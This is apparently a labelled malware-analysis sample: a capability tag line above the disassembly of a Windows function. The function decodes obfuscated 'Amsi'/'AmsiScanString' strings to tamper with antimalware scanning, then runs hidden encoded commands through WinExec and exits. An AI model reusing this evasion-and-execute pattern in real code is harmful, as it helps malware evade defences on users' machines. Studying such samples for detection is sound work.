Function at 0x613c1d87
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1b8
lea rbp, [rsp + 0x80]
movabs rax, 0x5157317a61513d3d
mov qword [rbp + 0x120], rax
mov byte [rbp + 0x128], 0
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x64484a70626d633d
mov qword [rbp + 0x100], rax
movabs rax, 0x61564e6a59573554
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x110], 0x5157317a
mov byte [rbp + 0x114], 0
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x64484a70626d633d
mov qword [rbp + 0xe0], rax
movabs rax, 0x61564e6a59573554
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0xf0], 0x5157317a
mov byte [rbp + 0xf4], 0
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp + 0x40]
lea rax, [0x613c5038]
mov ecx, 0x12
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0x40]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 2
call dbg.sleep
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x60]
lea rax, [0x613c50d0]
mov ecx, 0x13
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_revstr
mov ecx, 2
call dbg.sleep
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rbx, rax
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.NETUTILS.dll_base64_decode
mov rdx, rbx
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop